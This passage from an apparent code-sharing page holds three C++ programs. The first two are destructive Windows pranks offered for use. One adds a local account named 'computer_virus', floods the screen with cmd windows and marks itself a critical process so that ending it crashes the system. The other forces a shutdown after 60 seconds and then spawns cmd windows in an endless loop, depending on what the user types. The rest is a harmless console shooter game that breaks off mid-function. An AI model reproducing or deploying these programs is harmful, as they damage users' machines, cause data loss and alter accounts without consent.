	system("net user computer_virus computer_virus /add"); 
	for(unsigned long long i = 1; i <= 500; i++)
	{
			system("start cmd");
			for(int i=1;i<=100;i++)
			{
					SetCursorPos(rand()%y,rand()%x);
			}
	}
	typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
    typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
    RtlAdjustPrivilege AdjustPrivilege;
    RtlSetProcessIsCritical SetCriticalProcess;
    HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll"));
    AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege");
    SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical");
    BOOLEAN b;
    AdjustPrivilege(20UL, TRUE, FALSE, &b);
    SetCriticalProcess(TRUE, NULL, FALSE);
	return 0;
}

Copy

#include<bits/stdc++.h>
using namespace std;
int main(){
	cout << "你希望我编程题怎样?(大写)" << "\n"; 
	string a;
	while(1){
		cin >> a;
		if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="MLE"||a=="PE"||a=="OLE"){
			cout << "你竟然要诅咒我,我会在1min后fuck你的电脑,你不想电脑fuck就输入AC" << "\n";
			system("shutdown -f -s -t 60");
			while(1){
				cin >> a;
				if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){
					cout << "你竟然还敢诅咒我,你要die了";
					while(1){
						system("start cmd");
					}
				}else if(a=="AC"||a=="AK"){
					cout << "这次我就放过你";
					system("shutdown -a");
					return 0;
				}else{
					cout << "未能识别,请再次输入" << "\n";
				}
			}
		}else if(a=="AC"||a=="AK"){
			cout << "谢谢你的祝福";
			return 0;
		}else if(a=="SB"){
			cout << "你tm敢骂我,你电脑1分钟后要被我fuck了,输入BA或者AC就放过你" << "\n";
			system("shutdown -f -s -t 60");
			while(1){
				cin >> a;
				if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){
					cout << "你竟然还敢诅咒我,你要die了";
					while(1){
						system("start cmd");
					}
				}else if(a=="BA"||a=="AC"||a=="AK"){
					cout << "这次我就放过你";
					system("shutdown -a");
					return 0;
				}else{
					cout << "未能识别,请再次输入" << "\n";
				}
			}
		}else{
			cout << "未能识别,请再次输入" << "\n";
		}
	}
	
	return 0;
}

Copy

c++小游戏

#include<bits/stdc++.h>
#include<windows.h>
#include<stdio.h>
#include<conio.h>
#include<time.h>
#include<cmath>
#define KEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
using namespace std;
int m[35][35],n[35][35];
void Color(int a)
{
    if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN);//木 
    if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);//铁 
    if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY);
    if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|BACKGROUND_GREEN);
    if(a==11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE|BACKGROUND_GREEN);
    if(a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|BACKGROUND_GREEN);
    if(a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|BACKGROUND_INTENSITY|BACKGROUND_BLUE);
}
void SetPos(int x,int y)
{
    COORD pos;
    pos.X=y*2,pos.Y=x+3;
    SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);
}
int X,Y,gx,gy,gunT,gunZ,T,G[10],F[30];
int Win,Lev,Blood,Dun,Bmax,Dmax,WuDi,Gguai,Bo,Boo,sy,bu;
int Bx,By,Bblood,Bsi,Bjiao,Bdu,Bfang,Bxz,Byz;
void Map(int x);
void Jian(int x)
{
    if(WuDi>0) return;
    if(Dun>x) Dun-=x; else if(Dun<=0) Blood-=x;
    else if(Dun>0&&Dun<=x)
    {
        if(F[13]==0) Blood-=x-Dun;
        if(F[13]==1) WuDi=20;
        if(F[17]==1) Boo=3;
        Dun=-1;
    }
}
bool CanGo(int x,int y,int q) //0为自己 1其他 2激光怪 3激光枪 4子弹怪 5爆毒 6子弹 7 BOSS
{
    if(abs(Bx-x)<=1&&abs(By-y)<=1&&q==1) return 0;
    if(m[x][y]==2||m[x][y]==3) return 0;
    if((q==0||q==1)&&n[x][y]==1) return 0;
    if(m[x][y]==0) return 1;
    if(m[x][y]>=4&&m[x][y]<=8) return 1;
    if(m[x][y]>=84&&m[x][y]<=88) return 1;
    if(m[x][y]>=9&&m[x][y]<=31) return 1;
    if(m[x][y]>=59&&m[x][y]<=81) return 1;
    if((q==2||q==3||q==5)&&m[x][y]==1) return 1;
    if((q==2||q==3)&&m[x][y]>=100&&m[x][y]<250) return 1;
    if((q==0||q==3||q==5)&&m[x][y]>=50&&m[x][y]<55) return 1;
    if((q==4||q==7)&&m[x][y]/100==1) return 1;
    return 0;
}
void CoutMe()
{
    if(gx<0&&CanGo(X-1,Y,0)) X--;if(gx>0&&CanGo(X+1,Y,0)) X++;if(gy<0&&CanGo(X,Y-1,0)) Y--;if(gy>0&&CanGo(X,Y+1,0)) Y++;
    int r;Color(0);if(WuDi>0) r=rand()%5+1,Color(r);
    if(gunT!=1) SetPos(X-1,Y),cout<<"︹";if(gunT!=5) SetPos(X+1,Y),cout<<"︺";if(gunT!=7) SetPos(X,Y-1),cout<<"﹝";if(gunT!=3) SetPos(X,Y+1),cout<<"﹞";
    if(gunT==1) SetPos(X-1,Y),cout<<"↑";if(gunT==2) SetPos(X-1,Y+1),cout<<"↗";if(gunT==3) SetPos(X,Y+1),  cout<<"→";if(gunT==4) SetPos(X+1,Y+1),cout<<"↘";
    if(gunT==5) SetPos(X+1,Y),cout<<"↓";if(gunT==6) SetPos(X+1,Y-1),cout<<"↙";if(gunT==7) SetPos(X,Y-1),  cout<<"←";if(gunT==8) SetPos(X-1,Y-1),cout<<"↖";
    SetPos(X,Y),cout<<"●";Color(0);
    if(WuDi>0) Map(4);
    if(m[X][Y]>=50&&m[X][Y]<55) Jian(5),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
    if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==0) Jian(3),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
    if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==1) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
    if(m[X][Y]>=59&&m[X][Y]<=80&&F[4]==0) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
    if(m[X][Y]==2&&F[4]==0) Jian(3),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
    m[X][Y]=0,gx=gy=0;
}
int Cout(int x,int i,int j)
{
        int Guai=0;
        if(m[i][j]==0&&x==2) SetPos(i,j),cout<<"  ";
        if(m[i][j]==1) SetPos(i,j),Color(7),cout<<"■",Color(0);//木
        if(n[i][j]==0&&m[i][j]==2) SetPos(i,j),Color(8),cout<<"■",Color(0);//铁
        if(n[i][j]==10&&m[i][j]==0) SetPos(i,j),cout<<"  ",Color(0);
        if(n[i][j]==31&&m[i][j]==0) SetPos(i,j),cout<<"  ",Color(0);
        if(m[i][j]==32) m[i][j]=0;//怪子弹灰 
        if(n[i][j]>=20&&n[i][j]<22&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▁",Color(0);//木
        if(n[i][j]>=22&&n[i][j]<24&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▂",Color(0);//木
        if(n[i][j]>=24&&n[i][j]<26&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▄",Color(0);//木
        if(n[i][j]>=26&&n[i][j]<28&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木
        if(n[i][j]>=28&&n[i][j]<30&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木
        if(n[i][j]>45&&n[i][j]<=50&&m[i][j]==2) SetPos(i,j),Color(4),cout<<"▲",Color(0);//刺
        if(m[i][j]==3) SetPos(i,j),Color(5),cout<<"〓",Color(0);//箱 
        if(m[i][j]>=4&&m[i][j]<=7) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 
        if(m[i][j]==8) SetPos(i,j),cout<<"  ",m[i][j]=0;//烟尘
        if(m[i][j]>=84&&m[i][j]<=87) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 
        if(m[i][j]==88) SetPos(i,j),cout<<"  ",m[i][j]=0;//烟尘
        if(m[i][j]>=10&&m[i][j]<=30) SetPos(i,j),Color(10),cout<<"@ ",Color(0),m[i][j]++;//毒 
        if(m[i][j]>=60&&m[i][j]<=80) SetPos(i,j),Color(11),cout<<"@ ",Color(0),m[i][j]++;//怪毒 
        if(m[i][j]==9||m[i][j]==59) SetPos(i,j),Color(12),cout<<"@ ",Color(0),m[i][j]++;//金毒 
        if(m[i][j]==31||m[i][j]==81) SetPos(i,j),cout<<"  ",m[i][j]=0;//毒尘
        if(n[i][j]==1) SetPos(i,j),Color(13),cout<<"~ ",Color(0);//水
        if(m[i][j]==50) SetPos(i,j),Color(1),cout<<"●",Color(0),Guai++;//怪 
        if(m[i][j]==51) SetPos(i,j),Color(10),cout<<"●",Color(0),Guai++;//怪 
        if(m[i][j]==52) SetPos(i,j),Color(3),cout<<"●",Color(0),Guai++;//怪 
        if(m[i][j]==53) SetPos(i,j),Color(4),cout<<"●",Color(0),Guai++;//怪 
        if(m[i][j]==54) SetPos(i,j),Color(5),cout<<"●",Color(0),Guai++;//怪
        if(m[i][j]/100==1)
        {
            if((m[i][j]%100)/10<=1) SetPos(i,j),cout<<"☉";
            if((m[i][j]%100)/10==2) SetPos(i,j),Color(4),cout<<"◎",Color(0);
            if((m[i][j]%100)/10==3) SetPos(i,j),Color(1),cout<<"◎",Color(0);
            if((m[i][j]%100)/10==4) m[i][j]=4;
            if((m[i][j]%100)/10==5) SetPos(i,j),Color(3),cout<<"◎",Color(0);
            if((m[i][j]%100)/10==6) SetPos(i,j),Color(2),cout<<"¤",Color(0);
            if((m[i][j]%100)/10>=7&&(m[i][j]%100)/10<=9) SetPos(i,j),Color(2),cout<<"◎",Color(0);
        }
        if(m[i][j]/100==2) if((m[i][j]%100)/10==1) SetPos(i,j),Color(3),cout<<"☉",Color(0);
        return Guai;
}
void Boss()
{
    SetPos(Bx-1,By-1),cout<<"      ";SetPos(Bx,By-1),cout<<"      ";SetPos(Bx+1,By-1),cout<<"      ";
    int mov=rand()%30+1,R=rand()%300,ms;
    if(mov==1&&CanGo(Bx-1,By-2,1)&&CanGo(Bx,By-2,1)&&CanGo(Bx+1,By-2,1)) By--;
    if(mov==2&&CanGo(Bx-1,By+2,1)&&CanGo(Bx,By+2,1)&&CanGo(Bx+1,By+2,1)) By++;
    if(mov==3&&CanGo(Bx-2,By-1,1)&&CanGo(Bx-2,By,1)&&CanGo(Bx-2,By+1,1)) Bx--;
    if(mov==4&&CanGo(Bx+2,By-1,1)&&CanGo(Bx+2,By,1)&&CanGo(Bx+2,By+1,1)) Bx++;
    if(mov==5&&Bsi==0) Bsi+=rand()%3+1; if(mov==6&&Bjiao==0) Bjiao+=rand()%3+1;if(mov==7&&Bdu==0) Bdu+=5;
    if(mov==8&&Bxz==0) Bxz+=rand()%20-10;if(mov==9&&Byz==0) Byz+=rand()%20-10;
    if(Byz<0) {Byz++; if(By-2>1) By--;}if(Byz>0) {Byz--; if(By+2<28) By++;}if(Bxz<0) {Bxz++; if(Bx-2>1) Bx--;}if(Bxz>0) {Bxz--; if(Bx+2<28) Bx++;}
    if(R<15&Gguai<=5) Bfang++;
    else if(R<5&&Gguai<=10) Bfang++;
    else if(R==0) Bfang++;
    SetPos(Bx-1,By-1),Color(0),cout<<" ●● ";
    SetPos(Bx,By-1)  ,Color(4),cout<<")██(";
    SetPos(Bx+1,By-1),Color(4),cout<<" …… ";Color(0);
    if(abs(Bx-X)<=1&&abs(By-Y)<=1) Jian(50);int I,J;
    if(Bsi>0) {Bsi--;I=Bx-2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=211;I=Bx+rand()%3-1,J=By+2;if(CanGo(I,J,7)) m[I][J]=213;I=Bx+2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=215;I=Bx+rand()%3-1,J=By-2;if(CanGo(I,J,7)) m[I][J]=217;}
    if(Bjiao>0) {Bjiao--;I=Bx-2,J=By+2;if(CanGo(I,J,7)) m[I][J]=212;I=Bx+2,J=By+2;if(CanGo(I,J,7)) m[I][J]=214;I=Bx+2,J=By-2;if(CanGo(I,J,7)) m[I][J]=216;I=Bx-2,J=By-2;if(CanGo(I,J,7)) m[I][J]=218;}
    if(Bdu>0) {if(Bdu>0) Bdu--;for(int i=Bx-4;i<=Bx+4;i++) for(int j=By-4;j<=By+4;j++) if(CanGo(i,j,2)&&abs(Bx-X)>1&&abs(By-Y)>1&&i>0&&j>0) m[i][j]=59;}
    if(Bfang>0) {Bfang--;I=Bx+rand()%5-2,J=By+rand()%5-2;int rr=rand()%6-1;if(rr==-1) rr=0; if(((rr<3&&Lev<5)||(Lev>5))&&(CanGo(I,J,7))) m[I][J]=50+rr;}
    if(Lev==4) ms=3;if(Lev==9) ms=5;if(Lev==14) ms=10;if(Lev==19) ms=15;if(Lev==24) ms=20;
    if(T%50==0&&Bblood<ms*12) Bblood++,Map(3);
    for(int i=Bx-1;i<=Bx+1;i++)
    for(int j=By-1;j<=By+1;j++)
    {
        int du=0;
        if(m[i][j]/100==1) Bblood-=1,Bsi+=rand()%3+1,Map(3);
        if(m[i][j]/10==15) Bblood-=2,Map(3);
        if(m[i][j]<50||m[i][j]>55) m[i][j]=0;
        if(m[i][j]>=84&&m[i][j]<=87) Bblood-=1,Bsi+=rand()%3+1,Map(3);
        if(du==0&&m[i][j]>=9&&m[i][j]<=30) Bblood-=1,du++,Bdu++,Map(3);
        if(Bblood<=0) {Bblood=0;SetPos(Bx-1,By-1),cout<<"      ";SetPos(Bx,By-1),cout<<"      ";SetPos(Bx+1,By-1),cout<<"      ";}
    }
}
void Map(int x)//x=0只输中间 1输全屏 2输身周 2输上方 4 CoutMe中用 5 GuaiQuan中用
{
    if(x!=4) CoutMe();
    int f1,f2,f3,f4,Guai=0;
    if(x==0) f1=f3=2,f2=f4=28;
    if(x==1||x==5) f1=f3=1,f2=f4=29;
    if(x==2) f1=X-1,f2=X+1,f3=Y-1,f4=Y+1;
    if((x==4||x==3||x==1)&&Win>=0)
    {
        SetPos(-3,2),cout<<Lev/5+1<<'-'<<Lev%5+1;
        SetPos(-2,2),cout<<"枪：";
        if(gunZ==1) cout<<"普通枪";if(gunZ==2) cout<<"分裂枪";if(gunZ==3) cout<<"穿甲枪";
        if(gunZ==4) cout<<"激光枪";if(gunZ==5) cout<<"爆炸枪";if(gunZ==6) cout<<"毒气枪";if(gunZ==7) cout<<"弹跳枪";
        cout<<"        子弹数：";if(gunZ==1) cout<<"∞";else cout<<G[gunZ]<<" ";
        SetPos(-1,2),cout<<"血量：";Color(4);int r;
        if(WuDi>0) r=rand()%5+1,Color(r); for(int i=1;i<=Blood;i++) cout<<"█";Color(0);for(int i=Blood;i<Bmax;i++) cout<<"█";
        Color(0);SetPos(-1,18),cout<<"                    ";
        SetPos(0,2),cout<<"盾牌：";Color(9);
        if(Dun!=0) for(int i=1;i<=Dun;i++) cout<<"█";Color(0);for(int i=max(1,Dun);i<Dmax;i++) cout<<"█";
        if(Bblood>0)
        {
            int ms;
            if(Lev==4) ms=5; if(Lev==9) ms=10; if(Lev==14) ms=14; if(Lev==19) ms=17; if(Lev==24) ms=20; 
            SetPos(-1,15),cout<<"                                ";
            SetPos(-1,15),cout<<"Boss：";Color(4);for(int i=1;i<=(Bblood-1)%12+1;i++) cout<<"█";
            SetPos(-1,24),Color(3);cout<<(Bblood-1)/12+1;
        }
    }
    if(x==5)
    {
        Color(0);
        SetPos(-3,2),cout<<"  ↑           W 开箱（当有箱子在旁时）    开局无敌3秒";
        SetPos(-2,2),cout<<"←  →移动     A/D 顺/逆时针转枪     空格 暂停";
        SetPos(-1,2),cout<<"  ↓           S 发射子弹 清除所有怪进下一关    盾会恢复";
        SetPos(0,2), cout<<" 每五关可获得一个天赋   完成 5-5 通关   ",Color(3),cout<<"按 y 进第一关";
        for(int i=f1;i<=f2;i++)
        for(int j=f3;j<=f4;j++) Cout(x,i,j);
    }
    if(x!=3&&x!=4)
    {
        for(int i=f1;i<=f2;i++)
        for(int j=f3;j<=f4;j++) Guai+=Cout(x,i,j);
        if(x!=2)
        {
            int Rr=rand()%3;
            if(Guai<Gguai&&Guai!=0&&F[15]==1&&Rr==0&&Lev%5==4)
            Dun=min(Dmax,Dun+1),Map(3);
            Gguai=Guai;
        }
        if(Guai==0&&x==0&&Win==0&&Bblood<=0)
        {
            if(Lev!=24)
            {   
                system("color 6E"),Color(5);
                SetPos(2,2),cout<<"You! Win!!!";Sleep(500);
                SetPos(3,2),cout<<"Please point 'y' to Play AGain.",Sleep(1000);
                system("color 0F");Map(1);
            }
            Win++,Lev++;
        }
    }
}
void Fan(int i,int j,int M)
{
    if(M%10==1||M%10==3) m[i][j]=M+4;
    if(M%10==5||M%10==7) m[i][j]=M-4;
    if(M%10==2)
    {
        if(m[i][j+1]!=0||m[i-2][j+1]!=0) m[i][j]=M+6;
        else if(m[i-1][j]!=0||m[i-1][j+2]!=0) m[i][j]=M+2;
        else m[i][j]=M+4;
    }
    if(M%10==4)
    {
        if(m[i+1][j]!=0||m[i+1][j+2]!=0) m[i][j]=M-2;
        else if(m[i][j+1]!=0||m[i+2][j+1]!=0) m[i][j]=M+2;
        else m[i][j]=M+4;
    }
    if(M%10==6)
    {
        if(m[i][j-1]!=0||m[i+2][j-1]!=0) m[i][j]=M-2;
        else if(m[i+1][j]!=0||m[i+1][j-2]!=0) m[i][j]=M+2;
        else m[i][j]=M-4;
    }
    if(M%10==8)
    {
        if(m[i][j-1]!=0||m[i-2][j-1]!=0) m[i][j]=M-6;
        else if(m[i-1][j]!=0||m[i-1][j-2]!=0) m[i][j]=M-2;
        else m[i][j]=M-4;
    }
}
void Light(int i,int j,int M,int x)
{
    if(M%10==1) for(int k=1;CanGo(i-k,j,x);k++)  {if(x==3) m[i-k][j]=84; else m[i-k][j]=4;}
    if(M%10==2) for(int k=1;CanGo(i-k,j+k,x);k++){if(x==3) m[i-k][j+k]=84; else m[i-k][j+k]=4;}
    if(M%10==3) for(int k=1;CanGo(i,j+k,x);k++)  {if(x==3) m[i][j+k]=84; else m[i][j+k]=4;}
    if(M%10==4) for(int k=1;CanGo(i+k,j+k,x);k++){if(x==3) m[i+k][j+k]=84; else m[i+k][j+k]=4;}
    if(M%10==5) for(int k=1;CanGo(i+k,j,x);k++)  {if(x==3) m[i+k][j]=84; else m[i+k][j]=4;}
    if(M%10==6) for(int k=1;CanGo(i+k,j-k,x);k++){if(x==3) m[i+k][j-k]=84; else m[i+k][j-k]=4;}
    if(M%10==7) for(int k=1;CanGo(i,j-k,x);k++)  {if(x==3) m[i][j-k]=84; else m[i][j-k]=4;}
    if(M%10==8) for(int k=1;CanGo(i-k,j-k,x);k++){if(x==3) m[i-k][j-k]=84; else m[i-k][j-k]=4;}
}
void Move()
{
    bool nx[32][32];
    memset(nx,0,sizeof(nx));
    for(int i=2;i<=28;i++)
    for(int j=2;j<=28;j++)
    {
        if(m[i][j]==50&&nx[i][j]==0&&T%2==0)//无脑怪
        {
            int r,I=i,J=j,rr=rand()%5,rrr=rand()%2;
            if(rrr==0) {if(X<i) r=1;if(X>i) r=4;}
            if(rrr==1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr==0) r=rand()%4+1;
            if(r==1) I=i-1,J=j;if(r==2) I=i,J=j+1;if(r==3) I=i,J=j-1;if(r==4) I=i+1,J=j;
            if(CanGo(I,J,1)) m[i][j]=0,m[I][J]=50,SetPos(i,j),cout<<"  ",SetPos(I,J),cout<<"●",nx[I][J]=1;
        }
        if(m[i][j]==51&&nx[i][j]==0)//毒怪
        {
            int R=rand()%10;
            int r,I=i,J=j,rr=rand()%30,rrr=rand()%2,mr=rand()%15;
            if(rrr==0) {if(X<i) r=1;if(X>i) r=4;}
            if(rrr==1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr!=0) r=rand()%4+1;
            if(r==1) I=i-1,J=j;if(r==2) I=i,J=j+1;if(r==3) I=i,J=j-1;if(r==4) I=i+1,J=j;
            if(mr==0) {for(int k=I-2;k<=I+2;k++) for(int l=J-2;l<=J+2;l++) if(k>1&&l>1&&k<=28&&l<=28&&(CanGo(k,l,1)||m[k][l]==1)) m[k][l]=59;}
            if(CanGo(I,J,1)||m[I][J]==1) m[i][j]=59,m[I][J]=51,SetPos(i,j),cout<<"  ",SetPos(I,J),cout<<"●",nx[I][J]=1;
        }
        if(m[i][j]==52&&nx[i][j]==0)//散弹怪 
        {
            int R=rand()%10;
            if(R==0)
            {
                int I,J,r,rn=0;
                int rr=rand()%8,Rn=rand()%3+1;
                Xr:
                rr=rand()%8,rn++;
                if(rr==0) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==1) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==3) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==4) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==5) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==6) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==7) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==8) {r=rand()%7+2;I=i+1,J=j;if(m[I][J]!=2) m[I][J]=210+r;}nx[I][J]=1;
                if(rn<Rn) goto Xr;
            }
            else if(R<=2)
            {
                int r=rand()%4+1,Ie,Je;
                if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j;
                if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=52,SetPos(i,j),cout<<"  ",SetPos(Ie,Je),cout<<"●";
            }
        }
        if(m[i][j]==53&&nx[i][j]==0)//瞄准怪 
        {
            int R=rand()%6;
            if(R==0)
            {
                int I,J,r,rr=rand()%5;
                if(X-i<0&&abs(Y-j)<=2) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(Y-j>0&&abs(X-i)<=2) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(X-i>0&&abs(Y-j)<=2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(Y-j<0&&abs(X-i)<=2) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(X-i<0&&Y-j>0&&abs((i-X)-(Y-j))<=2) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(X-i>0&&Y-j>0&&abs((X-i)-(Y-j))<=2) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(X-i>0&&j-Y>0&&abs((X-i)-(j-Y))<=2) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(X-i<0&&Y-j<0&&abs((i-X)-(j-Y))<=2) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(rr==0) {r=rand()%7+2;I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
            }
            else if(R==1)
            {
                int r=rand()%4+1,Ie,Je;
                if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j;
                if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=53,SetPos(i,j),cout<<"  ",SetPos(Ie,Je),cout<<"●";
            }
        }
        if(m[i][j]==54&&nx[i][j]==0)//激光怪
        {
            int R=rand()%10;
            if(R==0) {int r=rand()%4; Light(i,j,231+2*r,2);}
            else if(R<=3)
            {
                int r=rand()%4+1,Ie,Je;
                if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j;
                if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=54,SetPos(i,j),cout<<"  ",SetPos(Ie,Je),cout<<"●";
            }
        }
        if(m[i][j]/100==2&&F[3]==1&&T%2==0) nx[i][j]=1;
        if((m[i][j]/100==1||m[i][j]/100==2)&&nx[i][j]==0)//子弹 
        {
            int M=m[i][j],I,J;m[i][j]=0;SetPos(i,j),cout<<"  ";
            if(M%10==1) I=i-1,J=j;if(M%10==2) I=i-1,J=j+1;if(M%10==3) I=i,J=j+1;if(M%10==4) I=i+1,J=j+1;
            if(M%10==5) I=i+1,J=j;if(M%10==6) I=i+1,J=j-1;if(M%10==7) I=i,J=j-1;if(M%10==8) I=i-1,J=j-1;

            if(I==X&&J==Y&&M/100==2) {Jian(2),system("color 4F"),Sleep(30);system("color 0F"),m[i][j]=0;Map(4);}
            else if(I==X&&J==Y&&M/100==1) m[I][J]=0;
            else if(M/100==2&&m[I][J]/100==1) m[i][j]=32;
            else if(M/100==2&&m[I][J]<55&&m[I][J]>=50) m[i][j]=0;
            else if(m[I][J]==2||m[I][J]==3)//石
            {
                if((M%100)/10==0)
                {
                    int rr=rand()%3;
                    if(rr==0) Fan(i,j,M),m[i][j]+=10;
                    else m[i][j]=84;
                }
                if((M%100)/10==1)
                {
                    m[i][j]=84;
                    int rr=rand()%5;
                    if(rr==0&&F[14]==1&&M/100==1)
                    {
                            for(int ii=i-1;ii<=i+1;ii++)
                            for(int jj=j-1;jj<=j+1;jj++)
                            if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                    }
                }
                if((M%100)/10==2)
                {
                    m[i][j]=84;
                    if(m[i-1][j]!=2&&m[i-1][j]!=3)     m[i-1][j]=111;
                    if(m[i-1][j+1]!=2&&m[i-1][j+1]!=3) m[i-1][j+1]=112;
                    if(m[i][j+1]!=2&&m[i][j+1]!=3)     m[i][j+1]=113;
                    if(m[i+1][j+1]!=2&&m[i+1][j+1]!=3) m[i+1][j+1]=114;
                    if(m[i+1][j]!=2&&m[i+1][j]!=3)     m[i+1][j]=115;
                    if(m[i+1][j-1]!=2&&m[i+1][j-1]!=3) m[i+1][j-1]=116;
                    if(m[i][j-1]!=2&&m[i][j-1]!=3)     m[i][j-1]=117;
                    if(m[i-1][j-1]!=2&&m[i-1][j-1]!=3) m[i-1][j-1]=118;
                }
                if((M%100)/10==3) {if(m[I][J]==2&&(I!=1&&J!=1&&I!=29&&J!=29)) m[I][J]=84;else m[i][j]=84;}
                if((M%100)/10==4) m[i][j]=84;
                if((M%100)/10==5)
                {
                    for(int ii=i-2;ii<=i+2;ii++)
                    for(int jj=j-2;jj<=j+2;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                }
                if((M%100)/10==6)
                {
                    for(int ii=i-1;ii<=i+1;ii++)
                    for(int jj=j-1;jj<=j+1;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9;
                }
                if((M%100)/10>=7&&(M%100)/10<9) Fan(i,j,M),m[i][j]+=(rand()%2)*10;
                if((M%100)/10==9) m[i][j]=84;
            }
